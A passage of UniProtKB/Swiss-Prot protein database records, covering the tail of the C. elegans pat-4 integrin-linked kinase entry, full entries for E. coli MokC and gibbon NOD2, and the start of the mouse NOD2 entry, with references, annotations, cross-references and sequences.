RA Xu X., Rongali S.C., Miles J.P., Lee K.D., Lee M.;
RT "pat-4/ILK and unc-112/Mig-2 are required for gonad function in
RT Caenorhabditis elegans.";
RL Exp. Cell Res. 312:1475-1483(2006).
RN [7]
RP INTERACTION WITH UNC-97, AND SUBCELLULAR LOCATION.
RX PubMed=17662976; DOI=10.1016/j.ydbio.2007.06.014;
RA Norman K.R., Cordes S., Qadota H., Rahmani P., Moerman D.G.;
RT "UNC-97/PINCH is involved in the assembly of integrin cell adhesion
RT complexes in Caenorhabditis elegans body wall muscle.";
RL Dev. Biol. 309:45-55(2007).
RN [8]
RP DISRUPTION PHENOTYPE.
RX PubMed=22761445; DOI=10.1074/jbc.M112.354852;
RA Qadota H., Moerman D.G., Benian G.M.;
RT "A molecular mechanism for the requirement of PAT-4 (integrin-linked
RT kinase (ILK)) for the localization of UNC-112 (Kindlin) to integrin
RT adhesion sites.";
RL J. Biol. Chem. 287:28537-28551(2012).
RN [9]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=24314125; DOI=10.1111/acel.12189;
RA Kumsta C., Ching T.T., Nishimura M., Davis A.E., Gelino S.,
RA Catan H.H., Yu X., Chu C.C., Ong B., Panowski S.H., Baird N.,
RA Bodmer R., Hsu A.L., Hansen M.;
RT "Integrin-linked kinase modulates longevity and thermotolerance in C.
RT elegans through neuronal control of HSF-1.";
RL Aging Cell 13:419-430(2014).
RN [10]
RP INTERACTION WITH UNC-112, AND MUTAGENESIS OF PRO-257.
RX PubMed=24692564; DOI=10.1074/jbc.M114.556308;
RA Qadota H., Luo Y., Matsunaga Y., Park A.S., Gernert K.M., Benian G.M.;
RT "Suppressor mutations suggest a surface on PAT-4 (Integrin-linked
RT Kinase) that interacts with UNC-112 (Kindlin).";
RL J. Biol. Chem. 289:14252-14262(2014).
CC -!- FUNCTION: Probable pseudokinase that acts as an adapter protein.
CC Involved in the assembly of dense bodies and M lines during body
CC wall muscle development by recruiting several of their components
CC to integrin-mediated attachment sites (PubMed:12015115). Plays a
CC role in distal tip cell (DTC) migration and in oocyte development
CC probably by regulating the actin cytoskeleton (PubMed:16476426).
CC During the formation of neuromuscular junctions at the larval
CC stage, negatively regulates membrane protrusion from body wall
CC muscles (PubMed:16495308). May be involved in thermotolerance and
CC lifespan (PubMed:24314125). {ECO:0000269|PubMed:12015115,
CC ECO:0000269|PubMed:16476426, ECO:0000269|PubMed:16495308,
CC ECO:0000269|PubMed:24314125}.
CC -!- SUBUNIT: Interacts (via protein kinase domain) with unc-112 (via
CC N-terminus) (PubMed:12015115, PubMed:24692564). Interacts (via ANK
CC repeats) with unc-97 (via first LIM domain) (PubMed:12015115,
CC PubMed:17662976). Interacts (via protein kinase domain) with pat-6
CC (via C-terminus CH domain) (PubMed:12781130). May form a complex
CC with unc-112, unc-97 and pat-6 (PubMed:12781130, PubMed:17662976,
CC PubMed:24692564). Does not interact with integrin pat-3
CC (PubMed:12015115). {ECO:0000269|PubMed:12015115,
CC ECO:0000269|PubMed:12781130, ECO:0000269|PubMed:17662976,
CC ECO:0000269|PubMed:24692564}.
CC -!- INTERACTION:
CC O16785:pat-6; NbExp=4; IntAct=EBI-1564527, EBI-328106;
CC Q18685:unc-112; NbExp=5; IntAct=EBI-1564527, EBI-1564809;
CC -!- SUBCELLULAR LOCATION: Cytoplasm, myofibril, sarcomere, M line
CC {ECO:0000269|PubMed:12015115}. Basal cell membrane
CC {ECO:0000269|PubMed:12015115, ECO:0000269|PubMed:17662976};
CC Peripheral membrane protein {ECO:0000269|PubMed:12015115,
CC ECO:0000269|PubMed:24314125}. Note=Colocalizes in dense bodies and
CC M lines with integrin pat-3. Localization to muscle attachment
CC sites is regulated by pat-2, unc-52 and unc-112 (PubMed:12015115).
CC Co-localizes with pat-3 and pat-6 at body wall muscle attachment
CC sites (PubMed:12781130, PubMed:17662976).
CC {ECO:0000269|PubMed:12015115, ECO:0000269|PubMed:12781130,
CC ECO:0000269|PubMed:17662976}.
CC -!- TISSUE SPECIFICITY: Expressed in body wall muscle.
CC {ECO:0000269|PubMed:12015115}.
CC -!- DEVELOPMENTAL STAGE: Expression starts in body wall muscle at the
CC 1.5-fold embryonic stage. {ECO:0000269|PubMed:12015115}.
CC -!- DOMAIN: The protein kinase domain is predicted to be catalytically
CC inactive. {ECO:0000255|PROSITE-ProRule:PRU00159}.
CC -!- DISRUPTION PHENOTYPE: Embryonic lethality due to 1.5 fold stage-
CC onset paralysis. Mutant embryos have defects in maintaining
CC polarization of several components involved in the assembly of
CC dense bodies and M lines, such as integrin pat-3, unc-89 and unc-
CC 112 to muscle attachment sites (PubMed:12015115). RNAi-mediated
CC knockdown causes sterility resulting from oocyte accumulation in
CC the proximal gonad and distal tip cell (DTC) migration defects (33
CC percent of animals). Actin cytoskeleton in the proximal gonad
CC appears disorganized (PubMed:16476426). RNAi-mediated knockdown in
CC hatched embryos but not in adults causes adult-onset paralysis
CC characterized by the collapse of myosin filaments in body wall
CC muscles and a decrease in pharyngeal pumping (PubMed:24314125). In
CC L1 larval stage, results in the formation of large myosin
CC aggregates in body wall muscle cells (PubMed:22761445). In L4
CC larval stage, causes ectopic membrane extensions from body wall
CC muscles (PubMed:16495308). In adults, causes an increase in
CC lifespan, resistance to heat stress and increased expression of
CC stress response factors hsf-1, sod-3, hsp-16.2 and gst-4
CC (PubMed:24314125). {ECO:0000269|PubMed:12015115,
CC ECO:0000269|PubMed:16476426, ECO:0000269|PubMed:16495308,
CC ECO:0000269|PubMed:22761445, ECO:0000269|PubMed:24314125}.
CC -!- SIMILARITY: Belongs to the protein kinase superfamily. TKL Ser/Thr
CC protein kinase family. {ECO:0000305}.
CC -!- SIMILARITY: Contains 3 ANK repeats.
CC {ECO:0000255|RuleBase:RU003321}.
CC -!- SIMILARITY: Contains 1 protein kinase domain.
CC {ECO:0000255|PROSITE-ProRule:PRU00159}.
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DR EMBL; BX284603; CCD66066.1; -; Genomic_DNA.
DR EMBL; AJ249344; CAB77052.1; -; mRNA.
DR PIR; T33574; T33574.
DR RefSeq; NP_497139.1; NM_064738.5.
DR UniGene; Cel.10243; -.
DR ProteinModelPortal; Q9TZC4; -.
DR SMR; Q9TZC4; 20-465.
DR IntAct; Q9TZC4; 4.
DR STRING; 6239.C29F9.7; -.
DR EPD; Q9TZC4; -.
DR PaxDb; Q9TZC4; -.
DR PRIDE; Q9TZC4; -.
DR EnsemblMetazoa; C29F9.7; C29F9.7; WBGene00003931.
DR GeneID; 175175; -.
DR KEGG; cel:CELE_C29F9.7; -.
DR UCSC; C29F9.7; c. elegans.
DR CTD; 175175; -.
DR WormBase; C29F9.7; CE19706; WBGene00003931; pat-4.
DR eggNOG; KOG0195; Eukaryota.
DR eggNOG; COG0666; LUCA.
DR GeneTree; ENSGT00840000129859; -.
DR HOGENOM; HOG000047828; -.
DR InParanoid; Q9TZC4; -.
DR KO; K06272; -.
DR OMA; RDFNEEH; -.
DR OrthoDB; EOG091G05IK; -.
DR PhylomeDB; Q9TZC4; -.
DR Reactome; R-CEL-446343; Localization of the PINCH-ILK-PARVIN complex to focal adhesions.
DR PRO; PR:Q9TZC4; -.
DR Proteomes; UP000001940; Chromosome III.
DR Bgee; WBGene00003931; -.
DR GO; GO:0005912; C:adherens junction; IDA:WormBase.
DR GO; GO:0009925; C:basal plasma membrane; IDA:UniProtKB.
DR GO; GO:0008305; C:integrin complex; IDA:WormBase.
DR GO; GO:0031430; C:M band; IDA:UniProtKB.
DR GO; GO:0055120; C:striated muscle dense body; IDA:UniProtKB.
DR GO; GO:0005524; F:ATP binding; IEA:InterPro.
DR GO; GO:0005178; F:integrin binding; IPI:UniProtKB.
DR GO; GO:0004674; F:protein serine/threonine kinase activity; ISS:WormBase.
DR GO; GO:0007155; P:cell adhesion; IEA:UniProtKB-KW.
DR GO; GO:0009792; P:embryo development ending in birth or egg hatching; IMP:WormBase.
DR GO; GO:0048815; P:hermaphrodite genitalia morphogenesis; IMP:UniProtKB.
DR GO; GO:0007229; P:integrin-mediated signaling pathway; IGI:WormBase.
DR GO; GO:0030239; P:myofibril assembly; IMP:WormBase.
DR GO; GO:1903356; P:positive regulation of distal tip cell migration; IMP:UniProtKB.
DR GO; GO:1904901; P:positive regulation of myosin II filament organization; IMP:UniProtKB.
DR GO; GO:0060279; P:positive regulation of ovulation; IMP:UniProtKB.
DR GO; GO:0045987; P:positive regulation of smooth muscle contraction; IMP:UniProtKB.
DR GO; GO:0006468; P:protein phosphorylation; ISS:WormBase.
DR GO; GO:0032956; P:regulation of actin cytoskeleton organization; IMP:UniProtKB.
DR Gene3D; 1.25.40.20; -; 1.
DR InterPro; IPR002110; Ankyrin_rpt.
DR InterPro; IPR020683; Ankyrin_rpt-contain_dom.
DR InterPro; IPR011009; Kinase-like_dom.
DR InterPro; IPR000719; Prot_kinase_dom.
DR InterPro; IPR001245; Ser-Thr/Tyr_kinase_cat_dom.
DR Pfam; PF12796; Ank_2; 1.
DR Pfam; PF07714; Pkinase_Tyr; 1.
DR SMART; SM00248; ANK; 3.
DR SUPFAM; SSF48403; SSF48403; 1.
DR SUPFAM; SSF56112; SSF56112; 1.
DR PROSITE; PS50297; ANK_REP_REGION; 1.
DR PROSITE; PS50088; ANK_REPEAT; 3.
DR PROSITE; PS50011; PROTEIN_KINASE_DOM; 1.
PE 1: Evidence at protein level;
KW ANK repeat; Cell adhesion; Cell membrane; Complete proteome;
KW Cytoplasm; Membrane; Reference proteome; Repeat.
FT CHAIN 1 466 Integrin-linked protein kinase homolog
FT pat-4. {ECO:0000305}.
FT /FTId=PRO_0000434505.
FT REPEAT 50 79 ANK 1. {ECO:0000255}.
FT REPEAT 83 112 ANK 2. {ECO:0000255}.
FT REPEAT 116 145 ANK 3. {ECO:0000255}.
FT DOMAIN 210 465 Protein kinase. {ECO:0000255|PROSITE-
FT ProRule:PRU00159}.
FT MUTAGEN 257 257 P->L: Restores the interaction with unc-
FT 112 when mutated at "Asp-382" and the
FT localization of mutated unc-112 to
FT integrin adhesion sites in body wall
FT muscles. {ECO:0000269|PubMed:24692564}.
FT MUTAGEN 374 374 E->K: No effect on the interaction with
FT unc-112 or pat-6.
FT {ECO:0000269|PubMed:12015115,
FT ECO:0000269|PubMed:12781130}.
SQ SEQUENCE 466 AA; 52260 MW; 0D13147657A0DF11 CRC64;
MSLSTHYHAH KPNVPIIMED VFGWVREGNA FQVRVWLDDH EHDLNVGDDH AFSLLHWAAK
GGHVAIAEML LSRGARVNST NMGDDTSLHL AAAHGHRQIV VKLLSRKADV NATNEHGMTP
LHYACFWGYE QIAEDLISCG AAVNVCNKKG MTPLDVCQPM CKNTILEIAQ EHGQSPNDRV
PFKDTTWKGT KSRTRDATLS RYTGVDVSSL NLITKIAESH SGELWRGKWQ GNDIVARILN
VQEVTARISR DFQTEFPALR IFAHPNICAV LAAANQPPNL VIISQYMPFG SLYNVLHEQS
SVVIDHGQAV RFALDIARGM SYLHSLDPML LRFYLSSKHV VVDEELTAKL SMADTKFSFQ
EVGKAYSPAW MSPEALSRAP EDLNIRAADM WSFAILLWEL NTREVPFSDL PPMECGMKIA
LEGLRVHIPP GIARNMNRLM NICMNEDPGR RPNFDQIIPI LERMIL
//
ID MOKC_ECOLI Reviewed; 69 AA.
AC P33236;
DT 01-FEB-1994, integrated into UniProtKB/Swiss-Prot.
DT 11-JUL-2006, sequence version 2.
DT 07-SEP-2016, entry version 85.
DE RecName: Full=Regulatory protein MokC;
GN Name=mokC; Synonyms=gefL; OrderedLocusNames=b0018, JW5879;
OS Escherichia coli (strain K12).
OC Bacteria; Proteobacteria; Gammaproteobacteria; Enterobacteriales;
OC Enterobacteriaceae; Escherichia.
OX NCBI_TaxID=83333;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RX PubMed=1943701; DOI=10.1111/j.1365-2958.1991.tb01911.x;
RA Poulsen L.K., Refn A., Molin S., Andersson P.;
RT "The gef gene from Escherichia coli is regulated at the level of
RT translation.";
RL Mol. Microbiol. 5:1639-1648(1991).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=K12 / MG1655 / ATCC 47076;
RX PubMed=9278503; DOI=10.1126/science.277.5331.1453;
RA Blattner F.R., Plunkett G. III, Bloch C.A., Perna N.T., Burland V.,
RA Riley M., Collado-Vides J., Glasner J.D., Rode C.K., Mayhew G.F.,
RA Gregor J., Davis N.W., Kirkpatrick H.A., Goeden M.A., Rose D.J.,
RA Mau B., Shao Y.;
RT "The complete genome sequence of Escherichia coli K-12.";
RL Science 277:1453-1462(1997).
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=K12 / W3110 / ATCC 27325 / DSM 5911;
RX PubMed=16738553; DOI=10.1038/msb4100049;
RA Hayashi K., Morooka N., Yamamoto Y., Fujita K., Isono K., Choi S.,
RA Ohtsubo E., Baba T., Wanner B.L., Mori H., Horiuchi T.;
RT "Highly accurate genome sequences of Escherichia coli K-12 strains
RT MG1655 and W3110.";
RL Mol. Syst. Biol. 2:E1-E5(2006).
RN [4]
RP PROBABLE FUNCTION.
RX PubMed=10361310; DOI=10.1046/j.1365-2958.1999.01431.x;
RA Pedersen K., Gerdes K.;
RT "Multiple hok genes on the chromosome of Escherichia coli.";
RL Mol. Microbiol. 32:1090-1102(1999).
CC -!- FUNCTION: Overlapping regulatory peptide whose translation enables
CC hokC expression. {ECO:0000305}.
CC -!- SUBCELLULAR LOCATION: Membrane {ECO:0000305}; Single-pass membrane
CC protein {ECO:0000305}.
CC -!- SIMILARITY: Belongs to the hok/gef family. {ECO:0000305}.
CC -!- CAUTION: Was originally described as a gef leader peptide.
CC {ECO:0000305|PubMed:1943701}.
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DR EMBL; U00096; AAC73129.1; -; Genomic_DNA.
DR EMBL; AP009048; BAB96591.1; -; Genomic_DNA.
DR RefSeq; NP_414559.1; NC_000913.3.
DR ProteinModelPortal; P33236; -.
DR STRING; 511145.b0018; -.
DR PaxDb; P33236; -.
DR EnsemblBacteria; AAC73129; AAC73129; b0018.
DR EnsemblBacteria; BAB96591; BAB96591; BAB96591.
DR GeneID; 944756; -.
DR KEGG; ecj:JW5879; -.
DR KEGG; eco:b0018; -.
DR PATRIC; 32115127; VBIEscCol129921_0015.
DR EchoBASE; EB1999; -.
DR EcoGene; EG12074; mokC.
DR eggNOG; ENOG4105WI6; Bacteria.
DR eggNOG; ENOG41123E9; LUCA.
DR HOGENOM; HOG000041219; -.
DR KO; K18919; -.
DR OMA; HKVMIVA; -.
DR PhylomeDB; P33236; -.
DR BioCyc; EcoCyc:EG10373-MONOMER; -.
DR BioCyc; ECOL316407:JW5879-MONOMER; -.
DR PRO; PR:P33236; -.
DR Proteomes; UP000000318; Chromosome.
DR Proteomes; UP000000625; Chromosome.
DR GO; GO:0016021; C:integral component of membrane; IEA:UniProtKB-KW.
DR InterPro; IPR000021; Hok/gef_toxin.
DR InterPro; IPR018084; Hok/gef_toxin_CS.
DR Pfam; PF01848; HOK_GEF; 1.
DR PRINTS; PR00281; HOKGEFTOXIC.
DR ProDom; PD005979; Hok/gef_toxin; 1.
DR PROSITE; PS00556; HOK_GEF; 1.
PE 3: Inferred from homology;
KW Complete proteome; Membrane; Reference proteome; Transmembrane;
KW Transmembrane helix.
FT CHAIN 1 69 Regulatory protein MokC.
FT /FTId=PRO_0000044031.
FT TRANSMEM 24 44 Helical. {ECO:0000255}.
SQ SEQUENCE 69 AA; 7742 MW; ED07A98BE0F165B4 CRC64;
MLNTCRVPLT DRKVKEKRAM KQHKAMIVAL IVICITAVVA ALVTRKDLCE VHIRTGQTEV
AVFTAYESE
//
ID NOD2_HYLLA Reviewed; 1040 AA.
AC Q53B88;
DT 05-JUL-2005, integrated into UniProtKB/Swiss-Prot.
DT 24-MAY-2005, sequence version 1.
DT 11-MAY-2016, entry version 58.
DE RecName: Full=Nucleotide-binding oligomerization domain-containing protein 2;
DE AltName: Full=Caspase recruitment domain-containing protein 15;
GN Name=NOD2; Synonyms=CARD15;
OS Hylobates lar (Common gibbon) (White-handed gibbon).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hylobatidae; Hylobates.
OX NCBI_TaxID=9580;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RA King K., Sheikh M., Cuthbert A.P., Fisher S.A., Mirza M.M.,
RA Sanderson J., Forbes A., Mansfield J., Roberts R.G., Mathew C.G.;
RT "Mutation, selection and evolution of the Crohn's disease
RT susceptibility gene, CARD15.";
RL Submitted (APR-2004) to the EMBL/GenBank/DDBJ databases.
CC -!- FUNCTION: Involved in gastrointestinal immunity. Upon stimulation
CC by muramyl dipeptide (MDP), a fragment of bacterial peptidoglycan,
CC binds the proximal adapter receptor-interacting RIPK2, which
CC recruits ubiquitin ligases as XIAP, BIRC2, BIRC3 and the LUBAC
CC complex, triggering activation of MAP kinases and activation of
CC NF-kappa-B signaling. This in turn leads to the transcriptional
CC activation of hundreds of genes involved in immune response.
CC Required for MDP-induced NLRP1-dependent CASP1 activation and IL1B
CC release in macrophages. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- SUBUNIT: Component of a signaling complex consisting of ARHGEF2,
CC NOD2 and RIPK2. Interacts (via CARD domain) with RIPK2 (via CARD
CC domain). Interacts with ATG16L1. Interacts (via NACHT domain) with
CC CARD9. Interacts with ANKRD17 (via N-terminus). Interacts with
CC HSPA1A; the interaction enhances NOD2 stability. Interacts (via
CC both CARD domains) with HSP90; the interaction enhances NOD2
CC stability. Interacts (via CARD domain) with SOCS3; the interaction
CC promotes NOD2 degradation. Interacts (via CARD domain) with
CC ERBBI2P; the interaction inhibits activation of NOD2. Interacts
CC (via CARD domain) with CASP1; this interaction leads to IL1B
CC processing. Also interacts with CASP4. Interacts with NLRP1; this
CC interaction is enhanced in the presence of muramyl dipeptide (MDP)
CC and leads to increased IL1B release.
CC {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250|UniProtKB:Q9HC29}.
CC Membrane {ECO:0000250|UniProtKB:Q9HC29}. Basolateral cell membrane
CC {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- DOMAIN: The ATG16L1-binding motif mediates interaction with
CC ATG16L1. {ECO:0000250}.
CC -!- DOMAIN: Intramolecular interactions between the N-terminal moiety
CC and the leucine-rich repeats (LRR) may be important for
CC autoinhibition in the absence of activating signal. In the absence
CC of LRRs, the protein becomes a constitutive activator of CASP1
CC cleavage and proIL1B processing. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- PTM: Polyubiquitinated following MDP stimulation, leading to
CC proteasome-mediated degradation. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- SIMILARITY: Contains 2 CARD domains. {ECO:0000255|PROSITE-
CC ProRule:PRU00046}.
CC -!- SIMILARITY: Contains 9 LRR (leucine-rich) repeats. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 NACHT domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00136}.
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DR EMBL; AY594161; AAS89990.1; -; Genomic_DNA.
DR EMBL; AY594150; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594151; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594152; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594153; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594154; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594155; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594156; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594157; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594158; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594159; AAS89990.1; JOINED; Genomic_DNA.
DR EMBL; AY594160; AAS89990.1; JOINED; Genomic_DNA.
DR ProteinModelPortal; Q53B88; -.
DR HOVERGEN; HBG050792; -.
DR GO; GO:0016323; C:basolateral plasma membrane; IEA:UniProtKB-SubCell.
DR GO; GO:0009986; C:cell surface; ISS:UniProtKB.
DR GO; GO:0005737; C:cytoplasm; ISS:UniProtKB.
DR GO; GO:0005856; C:cytoskeleton; ISS:UniProtKB.
DR GO; GO:0005829; C:cytosol; ISS:UniProtKB.
DR GO; GO:0005886; C:plasma membrane; ISS:UniProtKB.
DR GO; GO:0043234; C:protein complex; ISS:UniProtKB.
DR GO; GO:0031982; C:vesicle; ISS:UniProtKB.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR GO; GO:0050700; F:CARD domain binding; ISS:UniProtKB.
DR GO; GO:0019899; F:enzyme binding; ISS:UniProtKB.
DR GO; GO:0032500; F:muramyl dipeptide binding; ISS:UniProtKB.
DR GO; GO:0042834; F:peptidoglycan binding; ISS:UniProtKB.
DR GO; GO:0019901; F:protein kinase binding; ISS:UniProtKB.
DR GO; GO:0071225; P:cellular response to muramyl dipeptide; ISS:UniProtKB.
DR GO; GO:0002367; P:cytokine production involved in immune response; ISS:UniProtKB.
DR GO; GO:0042742; P:defense response to bacterium; ISS:UniProtKB.
DR GO; GO:0016045; P:detection of bacterium; ISS:UniProtKB.
DR GO; GO:0032498; P:detection of muramyl dipeptide; ISS:UniProtKB.
DR GO; GO:0045087; P:innate immune response; ISS:UniProtKB.
DR GO; GO:0035556; P:intracellular signal transduction; ISS:UniProtKB.
DR GO; GO:0070431; P:nucleotide-binding oligomerization domain containing 2 signaling pathway; ISS:UniProtKB.
DR GO; GO:0043123; P:positive regulation of I-kappaB kinase/NF-kappaB signaling; ISS:UniProtKB.
DR GO; GO:0050718; P:positive regulation of interleukin-1 beta secretion; ISS:UniProtKB.
DR GO; GO:0032740; P:positive regulation of interleukin-17 production; ISS:UniProtKB.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; ISS:UniProtKB.
DR GO; GO:0045944; P:positive regulation of transcription from RNA polymerase II promoter; ISS:UniProtKB.
DR GO; GO:0042981; P:regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0032495; P:response to muramyl dipeptide; ISS:UniProtKB.
DR Gene3D; 1.10.533.10; -; 2.
DR Gene3D; 3.80.10.10; -; 1.
DR InterPro; IPR001315; CARD.
DR InterPro; IPR011029; DEATH-like_dom.
DR InterPro; IPR032675; L_dom-like.
DR InterPro; IPR001611; Leu-rich_rpt.
DR InterPro; IPR007111; NACHT_NTPase.
DR InterPro; IPR027417; P-loop_NTPase.
DR Pfam; PF00619; CARD; 2.
DR Pfam; PF13516; LRR_6; 3.
DR SUPFAM; SSF47986; SSF47986; 2.
DR SUPFAM; SSF52540; SSF52540; 1.
DR PROSITE; PS50209; CARD; 2.
DR PROSITE; PS51450; LRR; 4.
DR PROSITE; PS50837; NACHT; 1.
PE 3: Inferred from homology;
KW ATP-binding; Cell membrane; Cytoplasm; Immunity; Innate immunity;
KW Leucine-rich repeat; Membrane; Nucleotide-binding; Repeat;
KW Ubl conjugation.
FT CHAIN 1 1040 Nucleotide-binding oligomerization
FT domain-containing protein 2.
FT /FTId=PRO_0000144090.
FT DOMAIN 26 122 CARD 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 126 218 CARD 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 293 618 NACHT. {ECO:0000255|PROSITE-
FT ProRule:PRU00136}.
FT REPEAT 791 812 LRR 1.
FT REPEAT 816 839 LRR 2.
FT REPEAT 844 865 LRR 3.
FT REPEAT 872 884 LRR 4.
FT REPEAT 900 920 LRR 5.
FT REPEAT 928 949 LRR 6.
FT REPEAT 956 976 LRR 7.
FT REPEAT 984 1005 LRR 8.
FT REPEAT 1012 1032 LRR 9.
FT NP_BIND 299 306 ATP. {ECO:0000255|PROSITE-
FT ProRule:PRU00136}.
FT REGION 241 274 Required for CARD9 binding.
FT {ECO:0000250|UniProtKB:Q9HC29}.
FT MOTIF 63 77 ATG16L1-binding motif.
SQ SEQUENCE 1040 AA; 115262 MW; 2BE59A6C96AAC0D1 CRC64;
MGEEGGSVSH DEEERASVLL GQYLGCEMCS QEAFQAQRSQ LVELLVSGSL EGFESVLDWL
LSWEVLSWED YEGFHLLGQP LSHLARRLLD TVWNKGTWAC QKLIAAAQEA QADSQSPKLH
GCWDPHSLHP ARDLQSHRPA IVRRLHSHVE GVLDLAWERG FVSQYECDEI RLPIFTPSQR
ARRLLDLATV KANGLAAFLL QHVQELPVPL ALPLEAATCR KYMAKLRTTV SAQSRFLSTY
DGAETLCLED IYTENVLEVW ADVGTAGPPP KSPATLGLEE LFSTPGHLND DADTVLVVGE
AGSGKSTLLQ RLHLLWAAGR DFQEFLFVFP FSCRQLQCMA KPLSVRTLLF EHCCWPDVGQ
EDIFQLLLDH PDRVLLTFDG FDEFKFRFTD RERHCSPTDP TSVQTLLFNL LQGNLLKNAR
KVVTSRPAAV SAFLRKYIRT EFNLKGFSEQ GIELYLRKRH REPGVADRLI RLLQATSALH
GLCHLPVFSW MVSKCHQELL LQEGGSPKTT TDMYLLILQH FLLHAIPPDS ASQGLGPSLL
RGRLPTLLHL GRLALWGLGM CCYVFSAQQL QAAQVSPDDI SLGFLVRAKG VVPGSTAPLE
FLHITFQCFF AAFYLALSAD VPPALLRHLF NCGRPGNSPV ARLLPTLCIQ GSEGKDSSVA
ALLQKAEPHN LQITAAFLAG LLSREHWGLL AECQTSEKAL LRRQACARWC LARSLRKHFH
SIPPAAPGEA KSMHAMPGFI WLIRSLYEMQ EERLARKAAR GLNVGHLKLT FCSVGPAECA
ALAFVLQHLR RPVALQLDYN SVGDIGVEQL LPCLGVCKAL YLRDNNISDR GICKLIECAL
HCEQLQKLVL FNNKLTDGCA HSMAKLLACR QNFLALRLGN NHITPAGAQV LAEGLRGNTS
LQFLGFWGNR VGDEGAQALA EALGDHQSLR WLSLVGNNIG SVGAQALALM LAKNVMLEEL
CLEENHIQDE GVCSLAEGLK KNSSLKILKL SNNCITYLGA KALLQALERN DTILEVWLRG
NIFSLEEVDK LGCRDIRLLL
//
ID NOD2_MOUSE Reviewed; 1020 AA.
AC Q8K3Z0;
DT 28-MAR-2003, integrated into UniProtKB/Swiss-Prot.
DT 01-OCT-2002, sequence version 1.
DT 07-SEP-2016, entry version 131.
DE RecName: Full=Nucleotide-binding oligomerization domain-containing protein 2;
DE AltName: Full=Caspase recruitment domain-containing protein 15;
GN Name=Nod2; Synonyms=Card15;
OS Mus musculus (Mouse).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Mus; Mus.
OX NCBI_TaxID=10090;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA] (ISOFORM 1).
RC STRAIN=BALB/cJ; TISSUE=Monocyte;
RX PubMed=12835899; DOI=10.1007/s00011-003-1170-z;
RA Iwanaga Y., Davey M.P., Martin T.M., Planck S.R., DePriest M.L.,
RA Baugh M.M., Suing C.M., Rosenbaum J.T.;
RT "Cloning, sequencing and expression analysis of the mouse Nod2/Card15
RT gene.";
RL Inflamm. Res. 52:272-276(2003).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORM 2), AND VARIANTS
RP ALA-212; ARG-240; CYS-422; VAL-485; ALA-603; ILE-675 AND GLN-925.
RC STRAIN=NMRI; TISSUE=Mammary cancer;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [3]
RP INTERACTION WITH ERBIN.
RX PubMed=16203728; DOI=10.1074/jbc.M508538200;
RA McDonald C., Chen F.F., Ollendorff V., Ogura Y., Marchetto S.,
RA Lecine P., Borg J.P., Nunez G.;
RT "A role for Erbin in the regulation of Nod2-dependent NF-kappaB
RT signaling.";
RL J. Biol. Chem. 280:40301-40309(2005).
RN [4]
RP INTERACTION WITH CARD9.
RX PubMed=17187069; DOI=10.1038/ni1426;
RA Hsu Y.M., Zhang Y., You Y., Wang D., Li H., Duramad O., Qin X.F.,
RA Dong C., Lin X.;
RT "The adaptor protein CARD9 is required for innate immune responses to
RT intracellular pathogens.";
RL Nat. Immunol. 8:198-205(2007).
RN [5]
RP FUNCTION, AND INTERACTION WITH CASP1.
RX PubMed=18511561; DOI=10.1073/pnas.0802726105;
RA Hsu L.C., Ali S.R., McGillivray S., Tseng P.H., Mariathasan S.,
RA Humke E.W., Eckmann L., Powell J.J., Nizet V., Dixit V.M., Karin M.;
RT "A NOD2-NALP1 complex mediates caspase-1-dependent IL-1beta secretion
RT in response to Bacillus anthracis infection and muramyl dipeptide.";
RL Proc. Natl. Acad. Sci. U.S.A. 105:7803-7808(2008).
RN [6]
RP INTERACTION WITH HSP90 AND SOCS3.
RX PubMed=23019338; DOI=10.1074/jbc.M112.410027;
RA Lee K.H., Biswas A., Liu Y.J., Kobayashi K.S.;
RT "Proteasomal degradation of Nod2 protein mediates tolerance to
RT bacterial cell wall components.";
RL J. Biol. Chem. 287:39800-39811(2012).
RN [7]
RP FUNCTION.
RX PubMed=22607974; DOI=10.1016/j.molcel.2012.04.014;
RA Damgaard R.B., Nachbur U., Yabal M., Wong W.W., Fiil B.K., Kastirr M.,
RA Rieser E., Rickard J.A., Bankovacki A., Peschel C., Ruland J.,
RA Bekker-Jensen S., Mailand N., Kaufmann T., Strasser A., Walczak H.,
RA Silke J., Jost P.J., Gyrd-Hansen M.;
